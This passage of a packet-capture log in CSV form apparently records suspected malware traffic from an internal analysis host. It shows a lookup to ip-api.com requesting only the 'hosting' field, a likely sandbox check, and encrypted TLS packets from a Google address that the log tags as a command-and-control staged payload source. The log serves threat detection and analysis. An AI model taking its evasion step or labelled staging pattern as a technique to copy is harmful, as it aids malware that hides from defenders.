('NOP', None), ('NOP', None), ('SAckOK', b''), ('NOP', None), ('WScale', 10)]\"\"}}]\"\n2026-07-19 08:08:09.760964,8,TCP 10.152.152.11:63963 -> 208.95.112.1:80,10.152.152.11,208.95.112.1,63963,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,A,,,Ether > IP > TCP,3,TCP A Seq=3021013281 Ack=4068210075,bc24112907bbbc2411360d0c080045000028f11a4000800626b10a98980bd05f7001f9db0050b4110121f27bf59b5010201415460000,\".$.)...$.6\n...E..(..@...&.\n...._p....P...!.{..P. ..F..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61722, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 9905, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 80, \"\"seq\"\": 3021013281, \"\"ack\"\": 4068210075, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 5446, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:09.791979,9,TCP 10.152.152.11:63963 -> 208.95.112.1:80,10.152.152.11,208.95.112.1,63963,80,TCP,Internal,Private Network,,,,,,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,PA,,http://ip-api.com/line/?fields=hosting,Ether > IP > TCP > HTTP > HTTPRequest,5,HTTP Request: GET /line/?fields=hosting,bc24112907bbbc2411360d0c080045000078f11b4000800626600a98980bd05f7001f9db0050b4110121f27bf59b5018201487400000474554202f6c696e652f3f6669656c64733d686f7374696e6720485454502f312e310d0a486f73743a2069702d6170692e636f6d0d0a436f6e6e656374696f6e3a204b6565702d416c6976650d0a0d0a,\".$.)...$.6\n...E..x..@...&`\n...._p....P...!.{..P. ..@..GET /line/?fields=hosting HTTP/1.1\nHost: ip-api.com\nConnection: Keep-Alive\n\n\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 120, \"\"id\"\": 61723, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 9824, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"208.95.112.1\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63963, \"\"dport\"\": 80, \"\"seq\"\": 3021013281, \"\"ack\"\": 4068210075, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8212, \"\"chksum\"\": 34624, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"HTTP\"\", \"\"fields\"\": {}}, {\"\"layer\"\": \"\"HTTPRequest\"\", \"\"fields\"\": {\"\"Method\"\": \"\"GET\"\", \"\"Path\"\": \"\"/line/?fields=hosting\"\", \"\"Http_Version\"\": \"\"HTTP/1.1\"\", \"\"A_IM\"\": null, \"\"Accept\"\": null, \"\"Accept_Charset\"\": null, \"\"Accept_Datetime\"\": null, \"\"Accept_Encoding\"\": null, \"\"Accept_Language\"\": null, \"\"Access_Control_Request_Headers\"\": null, \"\"Access_Control_Request_Method\"\": null, \"\"Authorization\"\": null, \"\"Cache_Control\"\": null, \"\"Connection\"\": \"\"Keep-Alive\"\", \"\"Content_Length\"\": null, \"\"Content_MD5\"\": null, \"\"Content_Type\"\": null, \"\"Cookie\"\": null, \"\"DNT\"\": null, \"\"Date\"\": null, \"\"Expect\"\": null, \"\"Forwarded\"\": null, \"\"From\"\": null, \"\"Front_End_Https\"\": null, \"\"HTTP2_Settings\"\": null, \"\"Host\"\": \"\"ip-api.com\"\", \"\"If_Match\"\": null, \"\"If_Modified_Since\"\": null, \"\"If_None_Match\"\": null, \"\"If_Range\"\": null, \"\"If_Unmodified_Since\"\": null, \"\"Keep_Alive\"\": null, \"\"Max_Forwards\"\": null, \"\"Origin\"\": null, \"\"Permanent\"\": null, \"\"Pragma\"\": null, \"\"Proxy_Authorization\"\": null, \"\"Proxy_Connection\"\": null, \"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": null, \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": null}}]\"\n2026-07-19 08:08:09.792003,10,TCP 208.95.112.1:80 -> 10.152.152.11:63963,208.95.112.1,10.152.152.11,80,63963,TCP,United States,Unknown,53334,\"Total Uptime Technologies, LLC\",37.751,-97.822,208.95.112.0/21,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4068210075 Ack=3021013361,bc2411360d0cbc24112907bb0800450000280e5140004006497bd05f70010a98980b0050f9dbf27bf59bb41101715010003fe31e0000,\".$.6\n..$.)....E..(.Q@.@.I{._p.\n....P...{.....qP..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 3665, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 18811, \"\"src\"\": \"\"208.95.112.1\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 63963, \"\"seq\"\": 4068210075, \"\"ack\"\": 3021013361, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 58142, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-19 08:08:15.819001,11,TCP 216.58.201.197:443 -> 10.152.152.11:63950,216.58.201.197,10.152.152.11,443,63950,TCP,United States,Unknown,15169,Google LLC,37.751,-97.822,216.58.192.0/19,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > Padding,6,TCP PA Seq=2455730514 Ack=2755293496,bc2411360d0cbc24112907bb080045000ff8a7d6400040063e86d83ac9c50a98980b01bbf9ce925f7952a43a71385018003d548e000016030304ba020004b603035c6e7bfc43723b04b511e81fa024ec551bdb02b5a83b3cf8b4c8e9b44c59e0ed208d2199b644a115837387d55469e0082bf0b1a3d48df1ffc2b7537cb403b9bd85130300046e0033046411ec046032a4d633667081dcc6ee6461638a51dd723f2f8b39d6b1b7a1396620cdb15b20e5fc7cf2bb0515d35756316ce85a23061aec2fbc87df24f4bc0503226fe75d8eb6dadc6819ca490fb20b64548b8d310d34483daa76efe34029785f10eb635ceb2bdcee253c817bf55d7b2718fe6a60af310641b92dcc5d7e5bbf3f5485c3f207ffbd753b7d91c8de1b9b31e5e211ab032e70a4d3055af89394cab51c074d7a8c87f021e645511b78ca2e5cee13bb5df99123c96ab25a9e8881e78aaf9814c0fdc65d41ba987f2eefc4e6828e031297a1f4b21a5e91d0329a19c5448a1ec659e5d1b95072bd4bf15f6a33b716c9af9bbf6e27923e9b2525877918fa2c589fd5b791362ee040d35975f731478c9ced9b37293e9173fdd3402f111b23e11b9919da4d076f233a8b86d441c3a84f3777f20b2e8c617902c59ead56c50fdeee8e4b2ec98ba8cf52e03520b901c7b05db4eedb6ccb9c8f961750828634321b4436319b6e4d61a12ca3fecee4cfe913cc8f470097ef0e903a9d136854c15ebb1103ac6fc64f1f60d7c02177dd44059bd76476f0212a6d5f738ce17af0ca87fb0e777c306e22d4124cc2f9d492b4df8a2386e5f8c30881e780f7f6c1bced0e56df2c946f5733137b7d2def0ff542788176a34ae01342df5a2c85eeac0a3c362574c1513cc2c1e5e8cfe42d2d60ae5b705b44d45c88e9d309e82a6b7db0057c28fbd1a663c9da97656eb4b694a5009c3d7533ce7f0d77bb839708cb33ab612ee760a0b0a49657afa413a310d2f1ebe7f6241692300b767615079c8479ce028b63473b7b2b60babfdb4f80cad7fe2f19b158c8fdf5d9a1d6f6897a9beb6922b8647e8915ce2ceff3abb11cddabb3cb0f9bfcc96c1dea85b9626beb8055c49378808b123053a6c0b426717bcdf3638ebf96bca9b24ea5dc7a5673aee27202df49905149c078cb4072d1748d24d2bf96895522ad25a4bc02be4c603525a861af30869d1141ff0f5f69e2077a8d434a613e9e1e6053395ff185f2db34f07ff8ae3e22466a3a99f940d83879551dd6ef885e4c301e4fdb6188373ad783a693255efaa03cb1c73e8ac486df9a04c9b1d130e13f505831ab2fa9d49494a79f347eec61fe51e2fcd4b1da7f5d551692970d0f04e06304e696cb3fa9ac3ca21597b27d931ae3c6ed929d3b7db36d727636e374b84c03376fecb4de81d11717caa012f8365c05e14a7d9031a69ef774efbff8c37caa5def238a14f1fe74168180fac9c3bc59bc08d5477f5ed3898f1eb6ab072c62511bc7ef42973488a3be68ad2b88ed28b8f203c990d66d737f8c9be63a51bcb5eaa55535e499e37f12a3434fb1a646ea95409300410de37e23f476d72cc7e39d33b0239d7875590e192cccfbe7218b925d41eecdc4524d638cd87f9afbb59ac85ae47effd5dd9b7fed3787aa66f072401d3d9ca94d447537d8f778a8bc70ada2fa3db12c4bf657bfdece288709cd29bfa38df080ab679bc7a09c6e9ce77b5272e3f82cfd6de3913602192bc689f2f629247d859ea42039a81ceb3c8a7d181515f5357d63e2a4c8bc94da9d3e084b224c01cacfa43b002b000203041403030001011703031031d4d2cf410421ce27bcce91c9ea94340a0a45f064a5552132319521e16e1ae5ce3bbb98763498ecd451a17a1b92ea27fafccdb903b7da63f68a0112960995de87e878150c574faf1489c767a15c6d1d735ff3447a6c612de41baece0a376638304d6712e03e8bee5a0e6dfeee44553ea11e8b8db6d7f54375a4c95340119894d71c8c122de86c969cf13d23d16bb829323ce3c5b751bb63b090d4870e1494b0919cf2f62d04976e2ecce1c3e4f74280d4ea8c3673440fc7cb8c43917d365731a9fe3ec2734ed5baf5c35f04c4b69bfc625330b3687e9837343aa9d02d82da20e3dbc124b114b74d76a3d2126c3e79a30cc73f793b023f24e675d05f3bcb8dad5bab65485c3161025f8ab26036bc95d796043c6680d37a64d06ff39b92ddc51fc5b6ec4cabb147e471fd6d2c9a65c8ceb954d3bc717200c75ba1a60d09f6735910db4957f4133be805ecc11d874395be4cbbbef4f7d97305f81b64e5dfaa24df10ebf871396098c2e974afb895b2132f53b196475a7e71f2c52c7562831a81ad80ea177174aa9a20265f77efd1c3e3259005e62fea8031137ce4aa5b3c68e14e501fc8e1b1d3399090b6871830720fb2a3c612ad98063588bab89d9def4c6f832ff420c54d3bbe2278011aba3e9346c2527434aa425d99d671d82ac7f3162d5d75f2f6ecdab78ca41d8c9d6328c32b92b3bf93781d453616c16f1747f50f23d58355b7124ea399bd99604e18741ebf7ca72abcc570911eb2eb93cb11fee43ca4ebe30f87a73e9df6fca061f19bd26535d7bddeb91a4ed4db3ca3e9e750e5ead2ee7295a15b548e98959d6f83aa5713154e8d274eee245326968b39b175e50a5447c7a8dd203e5c8fdb99759c8d5069b280caee06d5b9136bb4677f2d9294a720584e16888313f4d0430ce1f4659dbb9efe0348be6dae863fd9ea26490ee5b410e38d5d9bb4ccc1eebd3547977478c2c13d0f0655d532a8619e56bdcdaf47f236ebee9f7a1af2fd0d0b37734478cf709ed9fedba3fcfe287e1dc0d6b36eb1affb47637161b535484e44f684d50560f4899a097df348d3d4995e01ebf51c5a0c8d04585346d32d38918e7e9cca5eefb028a0b70132e588fddba1eb41a4238bcf1856d268e9663309fc50a73dfadbfb5aae39fba67608d74bdd0678f28c02199621388a1e1aad67531be0529136b60294574793b7dc5d92201228e32de03f46df1782e49578023b8df8cd4cc6dc2c2a55352e29c7875b45dae9f98aca10a60b943c2249fdb5b97a9b69094ba89870799f899ceec680fc85d584c0fba3524a17343ae7e0f51464c9914176358b940891fa3911eb19115f8a40bdd4a365e504bdc018e1c8867552e5ed07ff7c7a1076d1c72665d25f231f14a230890b56b5eeee5a827ef1a078000334be884daba5d900e95f3a1930dfa6f9923f9db6a4703437ee7250298992b1a606283be422cc7b595e8e0f8a9b72d415b30c0391ee8833fb7c31e57925fdc79cbf27c6ff2bb28708a84c20098c8fc2a5f8e997998aaed12ef42e90e422649af02d440f4a01a5bed2b9b6c70fb101670356bc2e2500f6d187144563e8bef7e1508b57dc954f1fa32d073a058fde466900a4153131b107b8dd3ce9ded4b28e650854790ee72a239fa551d5625d73ee84af6893ffebcb870a6b922367ccbd10543717822c33d5bffcad31ce3fb79f632e83c0475b5f0c82a56af543aa80c3fa80ea3eecd2602a0b1c1f2581dcea53334a4c9658bf9c9ff76a84b97f468455e0c5986bc2cb77c992ec189e8ce8da69424d9b5ce3cf0e326ae455b34e9f929e6ee89ae355008a8c387203ac8f9d80ec72e174e3634bcb4b755ca08e60fd1fd673aac85ed158320480f1620ceb149c5e9d1167f590abd0995d039c87bb02d8d3221f388897ae692371939c9a6266d9dec3f4624615bad9587fed5b4783b0f8f8345e44882ebb2031ceceb109428f4857d6273267c589a9839225581e495203dc7f073ed50c01d421254ea288bde3fc498f3e2d50248d8d55d3601202dbb42650e946cefb139ac4dd055010d077a441df8c88382b82da3c663def50aa23760e6044c4f046f4915dc140726b7ebc0d002942204de3052a24c34fa9c272c1beabf5c1f1134e143832879bb6dd8bf512a7d7d690da3d09fb1518ac35e20d866e54bb86073dec4d74becf2ccff16e54ccc43892a2d5fb94b93222bdb2358e6fc88bd376a5d9fa4e726202a72bdd825877c62d6d5a73b66a4e8012901c0acacde657601c6545afeb45138f5c48b41f4d496e877b4b379094b77199b3a6bcb6c524a1de461a93173f95d6fa209fc0264a88cef64307d876bf5c3d0e9933a19579266fde0367aef33a4b2e33099596c51c4cac3fe5a7dd1889dd63dd55701b00cba395b518ba52e186ea415c5b6344d0858807e9e600e07ea830e8c6b7f105b2137b40dbe982b4522a5af4af0f6ba8ba4c233545ea3ccb8bd07122405eb3dedea4503aadce39d2b4fcfa946b38e2bcb3f791a987498d8fe4ec1a58e6aeb374b9d3d2b676fe14bfcdcee41a2e074dc5362b3702e4798ebd940422bd1a77806cd3129758d0f27a79a30fc81f8c01823ae5c1f0418a2c6699b98ca52cb7a51250242bca166102150e65348a7b30e22f5b02cf9951d3531c32e3871dadd3592a6cc58fd2a7932f9a09bc212346aabd8e023d7d46d3aded6341e6df080d4263ebb17adb8d7a10319bdffdcaf875011c3747b9c1d2570fe86ef0365f36fb3df2306e545ea44cb28d88db03dc03e21e4601e284f3ebe36e950ce99823e4c9408f8192286abcc5a728a78307b2812e46757472c2086488b4176bf530d7fd5c865db1bc838197add423da9677b74cbd22e17d621d657ef4f592f49accdef4244e0922ec460a5b0a6386894698de1ce1846797c7771b01eb51dd547a60c1149605a1d6b00e06dbea9b86912b7fda8ffda26fc47f872cd13e8530903bfaf75f8833b95dee719dd55d455e36957273fd0e93ebbee17ecb8d53126eb50b5dfe87856a345f602d6fda20d89fcdfedfaa21d7ad6fd8ae70b1fe043fc10fb334ab25ece78e3e1e8ad8d982e560cbef647f3953ebe8a1870ba91d5199076c8db486d4672eeee1bd8371617fbc8e09bf4f86e8d2ed0e45df38da3f3036b1adbdad86eaf108eaff45792b090a0db0e2fffc6faec824e8236fb91e311ca51558f080fdde5b75f2aa23df89514d2e1353989004b8bb59441161beb2fa6633e6964ff87c64ccb19e144c367da6df43bbfa16a110fbc3519dfd27a7dd63bf7589ddccd2870b19c71e46e5a841987160ee145bd5ddd33d16270fecc62de32bc14e98fcabd0d1899cbfeeecfd4bd8bde7a8d6b811b0f74bcb3ed3cd6dc5d4b7f8afc74176f0d70601dcf45afa39c7aec6473d769db6381bdbf632ac7973a8f9345317245312747cd30f7a28e5b6049afe169ad9bfa4dde0cc81fff4ec7157fe17adf1d54958eb0dfed3dbedbc91344cd09adf5cff8f660e26cf1c8f44020f1bd29b0b4765b903583eedae79e1371c20637dd74f66505af819422731b23a8eef1f9e5e286cc4f86e9074b3f1ffc09c8671079258e8c613b798e1799799ef24cc8da5f4eee510c302d69a8a9578f96b86f7d7faabae28194037a339240215aa547afba7a48443d9a966ef0a577fb51a69b756b9796278d57d58bc3f97796d0f209d599c05885f1ad69b2c5efbb1778c0b8e2658c38f3ec0c355a6adbb6e1c44ba0129bc9c9baf2a50aea94cf1ce193c5fdfe59f8757b3ac316994e56091b0ab8832ea8f9ab0d4a9b71fa5c62b9fd539d68880989f19f506f513699403b233937ed3e9fe56cfa202cbee53a53efed50d2c4ac577a147653ae2cbcee59e8b4c9be2a05cba81f6408e662f8bcc9dda795849769496493446f0b7e4e1cf432708aeac758c43567ab2bf9b502d735036f72f448ac124e6b40bb2fd9d7ab319a60065687d5abc8a18388e62c410eb702f8b4068b1a741cc0c,\".$.6\n..$.)....E.....@.@.>..:..\n........_yR.:q8P..=T..............\\n{.Cr;......$.U.....;<.....LY.. .!..D...s..Ti..+.........S|.........n.3.d...`2..3fp....dac.Q.r?/.9....9f ..[ ..|.....WV1l.Z#.../...$....\"\"o.]....h..I...dT..1\n4H=.v..@)x_..c\\.+..%<.{.]{'..j`.1.A.-.]~[.?T......u;}.....1......p...Z.......Mz...!.EQ.x..\\...]..#.j.Z...........]A................^..2...D...Y...Pr.K._j3......n'.>.%%.y..,X....6..@.Yu.1G....7)>.s..@/..#.....M.o#:...A..O7w....ay....V.....K.....R.5 ....]...l.....P..42.D61.nMa.,.........G.....:..hT.^....o.O.`..!w.D...dv.!*m_s..z.....w|0n\"\"..L.......#..............V.,.oW3.{}-...Bx.v.J..B.Z,...\n<6%t.Q<......--`.[p[D.\\...\t.*k}..|(...c...en......=u3..\nw.....3.a..`....W..........$..0.vv....y...cG;{+`...O..../..X........z..i\"\".d~...,.............l....bk..U..x...0S...&q{..c......N..zVs..r..I.QI.x.@r.t.$....U\"\".%....L`5%.a.0...A.._i..z.CJa>..`S9_....4....>\"\"Fj:..@.8yU....^L0.O.a.7:....%^..<..>.........0.?PX1./......4~.a.Q......]U...\n...c....?..<....}.......;}.mrv6.t.L.7o...........6\\..J}.1...t....|.].#....t.......Y...G.^.......,bQ...B.4...h.+..(......ms....:Q....U5......CO..F..@..A\n.~#.v.,...3.#.xuY..,...!..]A...RMc........Z.~......7..f.r@.=..MDu7..x..p...=.,K.W...(.\t.)......g....n..{Rr..,.m..6..+....)$}... 9...<.}....5}c.......>.K\"\"L....;.+..............1...A.!.'......4\n\nE.d.U!21.!.n...;..v4...Q.z...'.......c.....\t....x..WO....g.\\m.s_.Dzla-....\n7f80Mg..>..Z.m..DU>.......Cu..S@.......-.l...=#.k.)2<...Q.c............-..n......B....6sD....C.}6W1..>.sN...._.....bS0.h~.74:..-.. ...$...Mv...l>y...?y;.?$.u._;...[.eH\\1a._..`6.....<f..zd.o.........L..G.q.m,.e...T..qr..[..\n\t.sY..IW..;......C..L.....s...d...$....q9`...t...../S..GZ~q..,ub.......qt.. &_w....%.../..1.|..[<h.NP.....9.....0r........5......Lo./. .M;.\"\"x...>.F.Rt4.B]..q.*...-]u..........c(.+....x.E6..o.G..#..U..N....`N.t..|.*..p.........<......>....a...e5.....N..<...P....r..[T....o..W..N.'N.$S&..9.u.\nTG... >\\...u..Pi........k.g.-... XN......C...e.....H.m..?..&I......]......5G.tx..=..U.2.a.V...G.6...z...\n.7sDx.p.......(~....n...Gcqa.5HND....`...\t}.H...^....Z...XSF.-8..~..^..(...2......A.#...V.h.f3\t.P.=...Z.9..v..K..x.....!8....gS..R.6...WG...]. .(.-.?F.....x.;...L..,*U5.)..[E.........<\"\"I...z.i\tK..py.............RJ.4:....d..Av5.....9...._.@...e........uR....|z.v..&e._#...0..V...Z.~..x..4..M....._:.0....?...p47.rP).....(;.\"\".{Y^....r........3.|1.y%....'..+....L \t................\"\"d..-D.J..........g.V..%.....Ec....P.W..O..-.:...Fi...11....<.....e.Ty..*#..Q.b]s...h.....\nk.#g...T7..,3....1.?..c...G[_...j.C......>..`*...%...S3JL.X....j...F.U...k..w........iBM.\\...2j.U.N...n...U...8r......r.t.cK.Ku\\..`...s..^.X2...b....^..g.....].......\"\".8...i#q...bf....bF...X..[G....4^D... 1...\tB.HW.'2g.....%X.IR....>....!%N.....I.>-P$..U.`....&P.F.......P..w.A...8+..<f=.P.#v.`D..F..].@rk~.\n.)B M..*$.O..r.......N.82............=\t....5.\n.nT...=.Mt..,..nT..8......2\"\"..5.o...v...Nrb..+..Xw.-mZs.jN....\n...W`.eE..E..\\H..MIn.{K7...q......$..F...?... ..&J...C..v.\\=..3..y&o..g..:K.3\t....L.?......c.Up........R...A\\[cD........~.0.......{@....R*Z...k..L#5E.<...q\"\"@^....P:..9.....k8.......I.....X...t....v.........M.6+7..y....\"\"..w.l...X..zy.......:...A.,f....,...P$+..a...e4.{0./[...Q.S.2.....Y*l...../.\t.!#F....=}F...cA...\nBc..z..z.1.....u..7G...W..n.6_6.=.0nT^.L.........F......n....#..@...(j...(......Futr..d...k.0..\\.].......#..w.L.\"\".}b.e~........$N\t\"\".F\n[\nc..F.....g..w...Q.Tz`..............+.....o...,.>.0.;.._.3.].q..]E^6.rs......~..S.n..]...j4_`-o. ......!..o..p...?...4.%...>......`..d.9S.......Q..l....g.....qa...\t.O.....E.8.?06..........Ey+\t\n\n....o..$.#o..1...X....[u..#..QM..S.....YD.a...f3..O.|d....L6}..C.......Q..'..c.u.........F..A.q`..[...=.'...-.+.N...........K.........K.>..m......Av......Z.9...G=v..8...2.ys..4S.$S.t|..z(.................qW.....IX.\n......4L...\\..f.&...D......Ge..X>..y.7. c}.OfPZ..B'1.:....^(l..n.t......q..X......y...$.............x.k......(.@7.9$...Tz....C..f.\nW...i.V.ybx.}X.?.ym. .Y..._...,^..w...&X..>..U...n.D..)....*P..L...<_....W..1i..`....2..........+..9..........i...3.~...V.....S.>..\n,J.w.Ge:......L...\\...@.f/....yXIv..I4F.....C'...u.CVz...P-sP6./D..$......z....eh}Z...8.b...p/.@h..A..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 4088, \"\"id\"\": 42966, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 16006, \"\"src\"\": \"\"216.58.201.197\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63950, \"\"seq\"\": 2455730514, \"\"ack\"\": 2755293496, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 61, \"\"chksum\"\": 21646, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 1210, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSServerHello  msgtype=server_hello msglen=1206 version=TLS 1.2 gmt_unix_time=Thu, 21 Feb 2019 10:22:52  (1550744572) random_bytes=43723b04b511e81fa024ec551bdb02b5a83b3cf8b4c8e9b44c59e0ed sidlen=32 sid=b'\\\\x8d!\\\\x99\\\\xb6D\\\\xa1\\\\x15\\\\x83s\\\\x87\\\\xd5Ti\\\\xe0\\\\x08+\\\\xf0\\\\xb1\\\\xa3\\\\xd4\\\\x8d\\\\xf1\\\\xff\\\\xc2\\\\xb7S|\\\\xb4\\\\x03\\\\xb9\\\\xbd\\\\x85' cipher=TLS_CHACHA20_POLY1305_SHA256 comp=null extlen=1134 ext=[<TLS_Ext_KeyShare_SH  type=key_share len=1124 server_share=<KeyShareEntry  group=X25519MLKEM768 kxlen=1120 key_exchange=32a4d633667081dcc6ee6461638a51dd723f2f8b39d6b1b7a1396620cdb15b20e5fc7cf2bb0515d35756316ce85a23061aec2fbc87df24f4bc0503226fe75d8eb6dadc6819ca490fb20b64548b8d310d34483daa76efe34029785f10eb635ceb2bdcee253c817bf55d7b2718fe6a60af310641b92dcc5d7e5bbf3f5485c3f207ffbd753b7d91c8de1b9b31e5e211ab032e70a4d3055af89394cab51c074d7a8c87f021e645511b78ca2e5cee13bb5df99123c96ab25a9e8881e78aaf9814c0fdc65d41ba987f2eefc4e6828e031297a1f4b21a5e91d0329a19c5448a1ec659e5d1b95072bd4bf15f6a33b716c9af9bbf6e27923e9b2525877918fa2c589fd5b791362ee040d35975f731478c9ced9b37293e9173fdd3402f111b23e11b9919da4d076f233a8b86d441c3a84f3777f20b2e8c617902c59ead56c50fdeee8e4b2ec98ba8cf52e03520b901c7b05db4eedb6ccb9c8f961750828634321b4436319b6e4d61a12ca3fecee4cfe913cc8f470097ef0e903a9d136854c15ebb1103ac6fc64f1f60d7c02177dd44059bd76476f0212a6d5f738ce17af0ca87fb0e777c306e22d4124cc2f9d492b4df8a2386e5f8c30881e780f7f6c1bced0e56df2c946f5733137b7d2def0ff542788176a34ae01342df5a2c85eeac0a3c362574c1513cc2c1e5e8cfe42d2d60ae5b705b44d45c88e9d309e82a6b7db0057c28fbd1a663c9da97656eb4b694a5009c3d7533ce7f0d77bb839708cb33ab612ee760a0b0a49657afa413a310d2f1ebe7f6241692300b767615079c8479ce028b63473b7b2b60babfdb4f80cad7fe2f19b158c8fdf5d9a1d6f6897a9beb6922b8647e8915ce2ceff3abb11cddabb3cb0f9bfcc96c1dea85b9626beb8055c49378808b123053a6c0b426717bcdf3638ebf96bca9b24ea5dc7a5673aee27202df49905149c078cb4072d1748d24d2bf96895522ad25a4bc02be4c603525a861af30869d1141ff0f5f69e2077a8d434a613e9e1e6053395ff185f2db34f07ff8ae3e22466a3a99f940d83879551dd6ef885e4c301e4fdb6188373ad783a693255efaa03cb1c73e8ac486df9a04c9b1d130e13f505831ab2fa9d49494a79f347eec61fe51e2fcd4b1da7f5d551692970d0f04e06304e696cb3fa9ac3ca21597b27d931ae3c6ed929d3b7db36d727636e374b84c03376fecb4de81d11717caa012f8365c05e14a7d9031a69ef774efbff8c37caa5def238a14f1fe74168180fac9c3bc59bc08d5477f5ed3898f1eb6ab072c62511bc7ef42973488a3be68ad2b88ed28b8f203c990d66d737f8c9be63a51bcb5eaa55535e499e37f12a3434fb1a646ea95409300410de37e23f476d72cc7e39d33b0239d7875590e192cccfbe7218b925d41eecdc4524d638cd87f9afbb59ac85ae47effd5dd9b7fed3787aa66f072401d3d9ca94d447537d8f778a8bc70ada2fa3db12c4bf657bfdece288709cd29bfa38df080ab679bc7a09c6e9ce77b5272e3f82cfd6de3913602192bc689f2f629247d859ea42039a81ceb3c8a7d181515f5357d63e2a4c8bc94da9d3e084b224c01cacfa43b |> |>, <TLS_Ext_SupportedVersion_SH  type=supported_versions len=2 version=TLS 1.3 |>] |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": 